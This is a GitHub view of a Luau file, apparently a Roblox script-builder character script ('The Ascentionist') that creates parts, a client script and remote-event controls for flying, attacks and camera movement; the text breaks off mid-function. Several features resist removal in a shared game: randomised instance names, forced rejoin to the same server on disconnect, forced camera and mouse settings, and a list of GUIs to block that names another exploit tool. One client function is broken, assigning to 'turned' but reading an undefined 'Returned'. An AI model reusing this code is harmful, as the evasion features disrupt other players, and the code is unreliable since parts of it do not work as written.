Repository navigation
Expand file tree
/
Copy pathTrussManLuauTest.lua
More file actions
1775 lines (1771 loc) · 74.9 KB
/
Copy pathTrussManLuauTest.lua
File metadata and controls
1775 lines (1771 loc) · 74.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
--Converted with ttyyuu12345's model to script plugin v4
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
Folder0 = Instance.new("Folder")
Part1 = Instance.new("Part")
SpecialMesh2 = Instance.new("SpecialMesh")
Part3 = Instance.new("Part")
SpecialMesh4 = Instance.new("SpecialMesh")
Part5 = Instance.new("Part")
SpecialMesh6 = Instance.new("SpecialMesh")
Part7 = Instance.new("Part")
SpecialMesh8 = Instance.new("SpecialMesh")
Part9 = Instance.new("Part")
SpecialMesh10 = Instance.new("SpecialMesh")
Part11 = Instance.new("Part")
SpecialMesh12 = Instance.new("SpecialMesh")
Part13 = Instance.new("Part")
SpecialMesh14 = Instance.new("SpecialMesh")
Part15 = Instance.new("Part")
SpecialMesh16 = Instance.new("SpecialMesh")
Folder0.Name = "Parts"
Folder0.Parent = mas
Part1.Name = "Eye"
Part1.Parent = Folder0
Part1.CFrame = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part1.Position = Vector3.new(0, 0.5, 0)
Part1.Size = Vector3.new(1, 1, 0.5)
SpecialMesh2.Parent = Part1
SpecialMesh2.MeshId = "rbxassetid://1500643712"
SpecialMesh2.Scale = Vector3.new(0, 0, 0)
SpecialMesh2.MeshType = Enum.MeshType.FileMesh
Part3.Name = "Gun"
Part3.Parent = Folder0
Part3.CFrame = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part3.Position = Vector3.new(0, 0.5, 0)
Part3.Size = Vector3.new(1, 1, 0.5)
SpecialMesh4.Parent = Part3
SpecialMesh4.MeshId = "rbxassetid://1500643712"
SpecialMesh4.Scale = Vector3.new(0, 0, 0)
SpecialMesh4.MeshType = Enum.MeshType.FileMesh
Part5.Name = "Head"
Part5.Parent = Folder0
Part5.CFrame = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part5.Position = Vector3.new(0, 0.5, 0)
Part5.Size = Vector3.new(1, 1, 0.5)
SpecialMesh6.Parent = Part5
SpecialMesh6.MeshId = "rbxassetid://1500643712"
SpecialMesh6.Scale = Vector3.new(0, 0, 0)
SpecialMesh6.MeshType = Enum.MeshType.FileMesh
Part7.Name = "Light"
Part7.Parent = Folder0
Part7.CFrame = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part7.Position = Vector3.new(0, 0.5, 0)
Part7.Size = Vector3.new(1, 1, 0.5)
SpecialMesh8.Parent = Part7
SpecialMesh8.MeshId = "rbxassetid://1500643712"
SpecialMesh8.Scale = Vector3.new(0, 0, 0)
SpecialMesh8.MeshType = Enum.MeshType.FileMesh
Part9.Name = "Limb"
Part9.Parent = Folder0
Part9.CFrame = CFrame.new(5.95994862e-08, 0.50000006, 5.37335873e-05, -1, -2.08616115e-07, 8.37861336e-09, 2.38418465e-07, 0.999997854, -3.35713224e-07, 1.8322288e-07, 2.76108665e-07, -1)
Part9.Orientation = Vector3.new(0, 180, 0)
Part9.Position = Vector3.new(5.9599486235129007e-08, 0.5000000596046448, 0.00005373358726501465)
Part9.Rotation = Vector3.new(180, 0, 180)
Part9.Size = Vector3.new(1, 0.9999960064888, 0.5)
SpecialMesh10.Parent = Part9
SpecialMesh10.MeshId = "rbxassetid://18696515403"
SpecialMesh10.MeshType = Enum.MeshType.FileMesh
Part11.Name = "Portal"
Part11.Parent = Folder0
Part11.CFrame = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part11.Position = Vector3.new(0, 0.5, 0)
Part11.Size = Vector3.new(1, 1, 0.5)
SpecialMesh12.Parent = Part11
SpecialMesh12.MeshId = "rbxassetid://1500643712"
SpecialMesh12.Scale = Vector3.new(0, 0, 0)
SpecialMesh12.MeshType = Enum.MeshType.FileMesh
Part13.Name = "Torso"
Part13.Parent = Folder0
Part13.CFrame = CFrame.new(1.04308128e-07, 0.5, 1.49011612e-08, 1, 0, 1.74845553e-07, 0, 1, 0, -1.74845553e-07, 0, 1)
Part13.Position = Vector3.new(1.043081283569336e-07, 0.5, 1.4901161193847656e-08)
Part13.Size = Vector3.new(1, 1, 0.5)
SpecialMesh14.Parent = Part13
SpecialMesh14.MeshId = "rbxassetid://18696509294"
SpecialMesh14.MeshType = Enum.MeshType.FileMesh
Part15.Name = "nil"
Part15.Parent = Folder0
Part15.CFrame = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Part15.Position = Vector3.new(0, 0.5, 0)
Part15.Size = Vector3.new(1, 1, 0.5)
SpecialMesh16.Parent = Part15
SpecialMesh16.MeshId = "rbxassetid://1500643712"
SpecialMesh16.Scale = Vector3.new(0, 0, 0)
SpecialMesh16.MeshType = Enum.MeshType.FileMesh
for i,v in pairs(mas:GetChildren()) do
v.Parent = script
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
task.wait()
script.Disabled = true
local tick = os.clock
local Backups,Start = {},tick()
for _,v in pairs(script.Parts:GetChildren()) do
pcall(function()
v.Archivable = true
Backups[v.Name] = v
end)
end
local babababa = [==[
script.Disabled = true
game:GetService("RunService").RenderStepped:Wait()
script:Destroy()
game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen()
local function AttributeToCFrame(Position,Orientation)
return CFrame.new(Position)*CFrame.Angles(Orientation.X,Orientation.Y,Orientation.Z)
end
local function ValidNumber(Number)
turned = table.pack(pcall(function()
return type(Number) == "number" and not string.find(string.lower(tostring(Number)),"nan")
end))
table.remove(Returned,1)
return unpack(Returned)
end
local function RandomString(Length)
local Returned = table.pack(pcall(function()
return string.gsub(string.rep(" ",ValidNumber(Length) and math.clamp(Length,1,1e4) or math.random(5,100)),".",function(x)
return string.char(({math.random(48,57),math.random(65,90),math.random(97,122)})[math.random(1,3)])
end)
end))
table.remove(Returned,1)
return unpack(Returned)
end
local RemoteKey,Ignoring,Effects,RayProperties,Remotes,CameraPosition,Throttle,ConsecutiveFrames,Frame,RemoteName,Movement,Trottle,WorldModels,CameraRotation,CameraZoom,CameraCFrame,Character,ToReplace,Received,Typing = "BROO",true,{},RaycastParams.new(),{},Vector3.new(),0,0,1/60,"BROO",{CFrame = owner.Character.HumanoidRootPart.CFrame},1,{},Vector2.new(0,-15),15,CFrame.new()
RayProperties.FilterType = Enum.RaycastFilterType.Blacklist
local function FireServer(...)
for _,v in pairs(Remotes) do
v:FireServer(RemoteKey,...)
end
end
local function ConnectEvent(Event_)
table.insert(Remotes,Event_)
local EventConnect = Event_.OnClientEvent:Connect(function(Method,Things)
if type(Method) == "string" and type(Things) == "table" then
if Method == "SetCharacter" then
Character,CameraPosition = Things.Character,Things.CameraPosition.Position
local RayCharacter = {}
for _,v in pairs(Character) do
if table.pack(pcall(game.IsA,v,"BasePart"))[2] == true then
table.insert(RayCharacter,v)
end
end
for _,v in pairs(Effects) do
table.insert(RayCharacter,v)
end
RayProperties.FilterDescendantsInstances = RayCharacter
elseif Method == "Received" then
Received = true
elseif Method == "Effects" then
for _,v in pairs(Things) do
table.insert(Effects,v)
local Removed
Removed = v.AncestryChanged:Connect(function()
if not v:IsDescendantOf(workspace) then
table.remove(Effects,table.find(Effects,v))
Removed:Disconnect()
end
end)
end
elseif Method == "Notification" then
game:GetService("StarterGui"):SetCore("ChatMakeSystemMessage",{Text = "[The Ascentionist]: "..Things.Text,Font = 43,Color = Color3.new(.5,.5,.5),FontSize = 2})
end
end
end)
local EventRemoval
EventRemoval = Event_.AncestryChanged:Connect(function()
if not Event_:IsDescendantOf(game) then
table.remove(Remotes,table.find(Remotes,Event_))
EventConnect:Disconnect()
EventRemoval:Disconnect()
end
end)
end
game.DescendantAdded:Connect(function(v)
if table.pack(pcall(game.IsA,v,"RemoteEvent"))[2] == true and "BROO" == RemoteName then
ConnectEvent(v)
end
end)
workspace.DescendantAdded:Connect(function(v)
if table.pack(pcall(game.IsA,v,"WorldModel"))[2] == true then
table.insert(WorldModels,v)
local Removed
Removed = v.AncestryChanged:Connect(function()
if not v:IsDescendantOf(workspace) then
table.remove(WorldModels,table.find(WorldModels,v))
Removed:Disconnect()
end
end)
end
end)
do
local InstanceCount = 0
for _,v in pairs(game:GetDescendants()) do
if table.pack(pcall(game.IsA,v,"RemoteEvent"))[2] == true and "BROO" == RemoteName then
ConnectEvent(v)
end
InstanceCount = InstanceCount + 1
if InstanceCount >= 1e3 then
game:GetService("RunService").RenderStepped:Wait()
InstanceCount = 0
end
end
end
do
local InstanceCount = 0
for _,v in pairs(workspace:GetDescendants()) do
if table.pack(pcall(game.IsA,v,"WorldModel"))[2] == true then
table.insert(WorldModels,v)
local Removed
Removed = v.AncestryChanged:Connect(function()
if table.pack(pcall(game.IsDescendantOf,v,workspace))[2] == false then
table.remove(WorldModels,table.find(WorldModels,v))
Removed:Disconnect()
end
end)
end
InstanceCount = InstanceCount + 1
if InstanceCount >= 1e3 then
game:GetService("RunService").RenderStepped:Wait()
InstanceCount = 0
end
end
end
local function KeyDown(Key)
return not Typing and (not Ignoring or not game:GetService("UserInputService"):GetFocusedTextBox()) and game:GetService("UserInputService"):IsKeyDown(Enum.KeyCode[Key]) or false
end
game:GetService("UserInputService").InputBegan:Connect(function(Input,Ignore)
if Typing then
return
end
if Input.UserInputType == Enum.UserInputType.Keyboard then
local Key = string.sub(tostring(Input.KeyCode),14)
if Key == "F1" then
Ignoring = not Ignoring
end
if Ignore and Ignoring then
return
end
if Key == "F" then
FireServer("ToggleFly",{})
elseif Key == "Q" then
FireServer("ReplaceCharacter",{})
elseif Key == "X" then
FireServer("Attack",{Type = "SkySmash"})
elseif Key == "I" then
if CameraZoom > 1 then
CameraZoom = CameraZoom*.8
else
CameraZoom = 0
end
elseif Key == "O" then
if CameraZoom >= 1 then
CameraZoom = CameraZoom*1.25
else
CameraZoom = 1
end
elseif Key == "P" then
FireServer("ResetPosition",{})
elseif Key == "LeftBracket" then
Typing = true
end
elseif Input.UserInputType == Enum.UserInputType.MouseButton1 then
if Ignore and Ignoring then
return
end
FireServer("Attack",{Type = "ClickAttack"})
elseif Input.UserInputType == Enum.UserInputType.MouseWheel then
if Ignore and Ignoring then
return
end
if Input.Position.Z > 0 then
if CameraZoom > 1 then
CameraZoom = CameraZoom*.8
else
CameraZoom = 0
end
else
if CameraZoom >= 1 then
CameraZoom = CameraZoom*1.25
else
CameraZoom = 1
end
end
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(Input,Ignore)
if Typing then
return
end
if Input.UserInputType == Enum.UserInputType.MouseWheel then
if Ignore and Ignoring then
return
end
if Input.Position.Z > 0 then
if CameraZoom > 1 then
CameraZoom = CameraZoom*.8
else
CameraZoom = 0
end
else
if CameraZoom >= 1 then
CameraZoom = CameraZoom*1.25
else
CameraZoom = 1
end
end
end
end)
if not game:GetService("RunService"):IsStudio() then
game:GetService("NetworkClient").ChildRemoved:Connect(function(v)
if v.ClassName == "ClientReplicator" then
game:GetService("TeleportService"):SetTeleportGui(Instance.new("ScreenGui"))
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId)
game:GetService("TeleportService").TeleportInitFailed:Connect(function(Player,Result)
local Result = Result.Value
if Player ~= game:GetService("Players").LocalPlayer then
return
end
if Result >= 2 and Result <= 5 then
game:GetService("TeleportService"):Teleport(game.PlaceId)
else
local Start = tick()
repeat
game:GetService("RunService").RenderStepped:Wait()
until tick()-Start >= 5
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId)
end
end)
end
end)
end
game:GetService("UserInputService"):GetPropertyChangedSignal("MouseBehavior"):Connect(function()
local MouseBehavior = game:GetService("UserInputService").MouseBehavior.Value
if CameraZoom == 0 then
game:GetService("UserInputService").MouseBehavior = 1
elseif game:GetService("UserInputService"):IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
game:GetService("UserInputService").MouseBehavior = 2
else
game:GetService("UserInputService").MouseBehavior = 0
end
end)
game:GetService("UserInputService"):GetPropertyChangedSignal("MouseDeltaSensitivity"):Connect(function()
if game:GetService("UserInputService").MouseDeltaSensitivity ~= 1 then
game:GetService("UserInputService").MouseDeltaSensitivity = 1
end
end)
game:GetService("RunService").RenderStepped:Connect(function(Frames)
ConsecutiveFrames = ConsecutiveFrames + Frames
Throttle = 0
for _ = 1,ConsecutiveFrames/Frame do
ConsecutiveFrames = ConsecutiveFrames - Frame
Throttle = Throttle + 1
end
if not workspace.CurrentCamera or workspace.CurrentCamera.CameraType ~= Enum.CameraType.Scriptable or math.floor(workspace.CurrentCamera.FieldOfView*10+.5)/10 ~= 70 or workspace.CurrentCamera.CFrame ~= CameraCFrame then
game:GetService("Debris"):AddItem(workspace.CurrentCamera,0)
local Camera,Removed = Instance.new("Camera")
Camera.Name = RandomString()
Camera.CameraType = 6
Camera.FieldOfView = 70
Removed = Camera.AncestryChanged:Connect(function()
if Camera.Parent ~= workspace then
game:GetService("Debris"):AddItem(Camera,0)
Removed:Disconnect()
end
end)
Camera.Parent = workspace
workspace.CurrentCamera = Camera
end
if Received and Character then
for i,v in pairs(Character) do
if not v:IsDescendantOf(game) then
Received = false
FireServer("ReplaceCharacter",{})
break
end
end
end
local MouseDelta = game:GetService("UserInputService"):GetMouseDelta()*(UserSettings():GetService("UserGameSettings").MouseSensitivity/2)
if CameraZoom == 0 then
game:GetService("UserInputService").MouseBehavior = Enum.MouseBehavior.LockCenter
CameraRotation = CameraRotation - Vector2.new((CameraRotation.Y > 90 or CameraRotation.Y < -90) and -MouseDelta.X or MouseDelta.X,MouseDelta.Y)
elseif game:GetService("UserInputService"):IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
game:GetService("UserInputService").MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
CameraRotation = CameraRotation - Vector2.new((CameraRotation.Y > 90 or CameraRotation.Y < -90) and -MouseDelta.X or MouseDelta.X,MouseDelta.Y)
else
game:GetService("UserInputService").MouseBehavior = Enum.MouseBehavior.Default
end
if KeyDown("Left") then
CameraRotation = CameraRotation + Vector2.new(2.5*Throttle,0)
end
if KeyDown("Right") then
CameraRotation = CameraRotation - Vector2.new(2.5*Throttle,0)
end
if KeyDown("Up") then
CameraRotation = CameraRotation + Vector2.new(0,2.5*Throttle)
end
if KeyDown("Down") then
CameraRotation = CameraRotation - Vector2.new(0,2.5*Throttle)
end
CameraRotation = Vector2.new(CameraRotation.X > 180 and CameraRotation.X-360 or CameraRotation.X < -180 and CameraRotation.X+360 or CameraRotation.X,math.clamp(CameraRotation.Y,-81,81))
local NewAngles = CFrame.Angles(0,math.rad(CameraRotation.X),0)*CFrame.Angles(math.rad(CameraRotation.Y),0,0)
CameraCFrame = NewAngles+CameraPosition+NewAngles*Vector3.new(0,0,CameraZoom)
workspace.CurrentCamera.CFrame = CameraCFrame
workspace.CurrentCamera.Focus = CameraCFrame*CFrame.new(0,0,-CameraZoom)
if CameraZoom == 0 then
if Character then
for _,v in pairs(Character) do
if typeof(v) == "Instance" then
if table.pack(pcall(game.IsA,v,"BasePart"))[2] == true then
v.Transparency = 1
end
end
end
end
else
if Character then
for _,v in pairs(Character) do
if typeof(v) == "Instance" then
if table.pack(pcall(game.IsA,v,"BasePart"))[2] == true then
v.Transparency = 0
end
end
end
end
end
local MousePosition = game:GetService("UserInputService"):GetMouseLocation()-game:GetService("GuiService"):GetGuiInset()
local UnitRay = workspace.CurrentCamera:ScreenPointToRay(MousePosition.X,MousePosition.Y)
local Closest,Rays,Ray_ = math.huge,{},nil
table.insert(Rays,workspace:Raycast(UnitRay.Origin,UnitRay.Direction*1e3,RayProperties))
for _,v in pairs(WorldModels) do
pcall(function()
table.insert(Rays,v:Raycast(UnitRay.Origin,UnitRay.Direction*1e3,RayProperties))
end)
end
for _,v in pairs(Rays) do
pcall(function()
local Magnitude = (UnitRay.Origin-v.Position).Magnitude
if Magnitude < Closest then
Closest,Ray_ = Magnitude,v
end
end)
end
FireServer("Movement",{CFrame = CameraCFrame,Rotation = CameraRotation,Angles = NewAngles,Zoom = CameraZoom,W = KeyDown("W"),A = KeyDown("A"),S = KeyDown("S"),D = KeyDown("D"),Hit = Ray_ and CFrame.new(Ray_.Position) or CFrame.new(UnitRay.Origin,UnitRay.Origin+UnitRay.Direction)*CFrame.new(0,0,-1e3),PlaybackLoudness = Character and Character.Music and Character.Music.PlaybackLoudness or 0})
end)
]==]
local Client_ = NLS(babababa, script)
Backups.Client = NLS(babababa, script)
for _,v in pairs(Backups) do
pcall(game.ClearAllChildren,v)
end
local Name = owner.Name
for _,v in pairs(game:GetChildren()) do
pcall(function()
if game:FindService(v.ClassName) then
getfenv()[v.ClassName] = v
end
end)
end
for i,v in pairs(table) do
getfenv()[i] = v
end
for i,v in pairs(math) do
getfenv()[i] = v
end
RunService.Heartbeat:Wait()
local pcall_ = pcall
local function pcall(...)
local pcall__ = pack(pcall_(...))
if pcall__[1] == false and not string.match(tostring(pcall__[2]),"The current identity %(%d%) cannot .+ %(lacking permission %d%)") then
warn(string.format("%s:The Ascentionist:%s",Name,tostring(pcall__[2])))
end
return unpack(pcall__)
end
local Player = foreach(pack(pcall(Players.GetPlayers,Players))[2],function(i,v)
if v.Name == Name then
return v
end
end)
local function ValidNumber(Number)
local Returned = pack(pcall(function()
return type(Number) == "number" and not string.find(string.lower(tostring(Number)),"nan")
end))
remove(Returned,1)
return unpack(Returned)
end
local function RandomString(Length)
local Returned = pack(pcall(function()
return string.gsub(string.rep(" ",ValidNumber(Length) and clamp(Length,1,2e5-1) or random(5,100)),".",function()
return string.char(({random(48,57),random(65,90),random(97,122)})[random(1,3)])
end)
end))
remove(Returned,1)
return unpack(Returned)
end
local function CleanCFrame(CFrame_)
local Returned = pack(pcall(function()
local CFrameComponents = pack(CFrame_:GetComponents())
for i,v in pairs(CFrameComponents) do
CFrameComponents[i] = ValidNumber(v) and v or 0
end
return CFrame.new(unpack(CFrameComponents))
end))
remove(Returned,1)
return unpack(Returned)
end
local function Destroyed(v)
local Returned = pack(pcall(function()
if v.Parent then
return false
end
local _,Destroyed = pcall(function()
v.Parent = v
end)
return not string.match(Destroyed,"Attempt to set .+ as its own parent")
end))
remove(Returned,1)
return unpack(Returned)
end
local function CFrameToAttribute(CFrame_)
local Returned = pack(pcall(function()
local CFrame_ = CleanCFrame(CFrame_)
local _,_,_,m00,m01,m02,_,_,m12,_,_,m22 = CFrame_:GetComponents()
return CFrame_.Position,Vector3.new(atan2(-m12,m22),asin(m02),atan2(-m01,m00))
end))
remove(Returned,1)
return unpack(Returned)
end
local function AttributeToCFrame(Position,Orientation)
local Returned = pack(pcall(function()
return CFrame.new(Position)*CFrame.Angles(Orientation.X,Orientation.Y,Orientation.Z)
end))
remove(Returned,1)
return unpack(Returned)
end
local Nil = function()
end
local LastCall,Killed,MoveDirection,Effects,Camera,LastCFrames,RayProperties,ClassNames,Connections,BlacklistedChanges,UntouchableClassNames,BlacklistedMeshes,Instance_,Instance,CreationsThisFrame,Throttle,Welds,ConsecutiveFrames,Frame,Mouse,PlaybackLoudness,Services,WorldModels,DeteriorateUponConsignment,RemoteKey,RemoteName,BlacklistedGuis,Sine,Properties,Character,Movement,Event,MusicTest,StandingOn,Client = tick(),{},Vector3.new(),{},{Rotation = Vector2.new(0,-15),Angles = CFrame.Angles(rad(-15),0,0),Zoom = 15},{},RaycastParams.new(),{"CornerWedgePart","Part","FlagStand","Seat","WedgePart","VehicleSeat"},{},{"Attributes","Parent"},{"Player","PlayerGui","Terrain","StarterCharacterScripts","StarterPlayerScripts","MemStorageConnection","StatsItem","DockWidgetPluginGui","QWidgetPluginGui"},{"2671071329","1996456880","3957083206","5177555882","5589314244","6080721391","6473913306","430075625","//fonts/torso.mesh","//fonts/rightarm.mesh","//fonts/leftarm.mesh","//fonts/rightleg.mesh","//fonts/leftleg.mesh","//fonts/head.mesh","6100055335","6100073799","6100058263","16627529","448023220","5506596377","4377901670","5437810334","1553468234","1553468709","4615369575","959221541","6794318555","6794320610","6728641500","4743976612","5198865222","6822139949","6829474675","6834662855","6852507308","6344256880","6725572082","430080282","6379838281","6227931602","888904946"},Instance.new,{},0,30,{Defaults = {Neck = {C0 = CFrame.new(0,1,0)*CFrame.Angles(rad(-90),0,rad(180))},RootJoint = {C0 = CFrame.new()*CFrame.Angles(rad(-90),0,rad(180))},RightShoulder = {C0 = CFrame.new(-.5,0,0)*CFrame.Angles(0,rad(90),0)},LeftShoulder = {C0 = CFrame.new(.5,0,0)*CFrame.Angles(0,rad(-90),0)}},Neck = {C0 = CFrame.new(),C1 = CFrame.new(0,-.5,0,-1,0,0,0,0,1,0,1,0)},RootJoint = {C0 = CFrame.new(),C1 = CFrame.new(0,0,0,-1,0,0,0,0,1,0,1,0)},RightShoulder = {C0 = CFrame.new(),C1 = CFrame.new(-.5,.5,0,0,0,1,0,1,0,-1,0,0)},LeftShoulder = {C0 = CFrame.new(),C1 = CFrame.new(.5,.5,0,0,0,-1,0,1,0,1,0,0)},RightHip = {C0 = CFrame.new(),C1 = CFrame.new(.5,1,0,0,0,1,0,1,0,-1,0,0)},LeftHip = {C0 = CFrame.new(),C1 = CFrame.new(-.5,1,0,0,0,-1,0,1,0,1,0,0)},None = {C0 = CFrame.new(),C1 = CFrame.new()},GunHandle = {C0 = CFrame.new(0,-1,-0.25)*CFrame.Angles(rad(-90),0,0),C1 = CFrame.new(0,-.25,.9)}},0,1/60,{Hit = CFrame.new(),LastClick = tick()},0,{"SoundService","Chat","MarketplaceService","Players","StarterPlayer","LocalizationService","JointsService","FriendService","InsertService","Lighting","Teams","ReplicatedStorage","TestService","ProximityPromptService"},{},false,"BROO","BROO",{"vbucks","sup","AllahGui","SnakeVenomSS","polishtoilet","nooties","IY_GUI","IY_JumpScare","BugGui","tyrone","Holder","Trolling"},0,{Defaults = {Transparency = 0,LocalTransparencyModifier = 0},RightArm = {Reflectance = 0},LeftArm = {Reflectance = 0},RightLeg = {Reflectance = 0},LeftLeg = {Reflectance = 0},Head = {},Torso = {Reflectance = 0},Music = {SoundId = "rbxassetid://12899739684",Playing = true,Volume = 2,PlayOnRemove = false,PlaybackSpeed = 1,Looped = true,SoundGroup = Nil,RollOffMinDistance = 25,RollOffMaxDistance = 1e9},Main = {},HeadMesh = {MeshId = "rbxasset://fonts/head.mesh",TextureId = "rbxassetid://5614579544",VertexColor = Vector3.new(.25,.25,.25),MeshType = 5,Scale = Vector3.new(1,1,1)},Gun = {},GunMesh = {MeshId = "rbxassetid://3381220459",TextureId = "rbxassetid://5614579544",VertexColor = Vector3.new(.106,.165,.208),MeshType = 5,Scale = Vector3.new(1.473,1.473,1.473)},MusicHolder = {},PortalHolder = {},EyeHolder = {},Portal = {Color = ColorSequence.new(Color3.new(1,1,1)),LightEmission = 1,LightInfluence = 0,Orientation = 3,Size = NumberSequence.new(3,10),Texture = "rbxassetid://616444787",Transparency = NumberSequence.new(0,1),ZOffset = -5,Acceleration = Vector3.new(),Drag = 0,LockedToPart = true,TimeScale = 1,Enabled = true,Lifetime = NumberRange.new(1),Rate = 0,Rotation = NumberRange.new(1,360),RotSpeed = NumberRange.new(-20,20),Speed = NumberRange.new(.1),SpreadAngle = Vector2.new(180,180)},Light = {Brightness = 40,Color = Color3.new(1,1,1),Enabled = true,Range = 4,Shadows = false},Eye = {Color = ColorSequence.new(Color3.new(1,1,1)),LightEmission = .25,LightInfluence = 0,Orientation = 0,Size = NumberSequence.new(1),Texture = "rbxassetid://5135364286",Transparency = NumberSequence.new(0),ZOffset = .6,LockedToPart = true,TimeScale = 0,Enabled = true,Rotation = NumberRange.new(0)}},{},{CFrame = owner.Character.HumanoidRootPart.CFrame,PotentialCFrame = owner.Character.HumanoidRootPart.CFrame,WalkSpeed = 35,HipHeight = 4.5},nil
RayProperties.FilterType = Enum.RaycastFilterType.Blacklist
local function RandomService()
local Returned = pack(pcall(function()
return getfenv()[Services[random(1,#Services)]]
end))
remove(Returned,1)
return unpack(Returned)
end
local function Destroy(v,Delay)
pcall(function()
if typeof(v) == "Instance" then
if not ValidNumber(Delay) or Delay < Frame then
pcall(game.Destroy,v)
end
pcall(Debris.AddItem,Debris,v,ValidNumber(Delay) and Delay or 0)
end
end)
end
function Instance.new(ClassName,Parent,Properties_)
local Returned = pack(pcall(function()
local ClassName = type(ClassName) == "string" and ClassName or "Folder"
CreationsThisFrame += 1
if CreationsThisFrame >= 1e3 then
RunService.Heartbeat:Wait()
CreationsThisFrame = 0
else
coroutine.resume(coroutine.create(function()
RunService.Heartbeat:Wait()
CreationsThisFrame = 0
end))
end
local NewInstance = ClassName == "Random" and Instance_(ClassNames[random(1,#ClassNames)]) or typeof(Backups[ClassName]) == "Instance" and Backups[ClassName]:Clone() or Instance_(ClassName)
if NewInstance:IsA("BasePart") then
for i,v in pairs(Properties.Defaults) do
NewInstance[i] = v ~= Nil and v or nil
end
end
NewInstance.Archivable = random(0,1) == 0
NewInstance.Name = RandomString()
if type(Properties_) == "table" then
for i,v in pairs(Properties_) do
NewInstance[i] = v ~= Nil and v or nil
end
end
pcall(function()
NewInstance.Parent = typeof(Parent) == "Instance" and Parent or nil
return NewInstance
end)
end))
remove(Returned,1)
return unpack(Returned)
end
local function CharacterWait(Name)
local Returned = pack(pcall(function()
if Character[Name] then
return Character[Name]
else
repeat
RunService.Heartbeat:Wait()
until Character[Name]
return Character[Name]
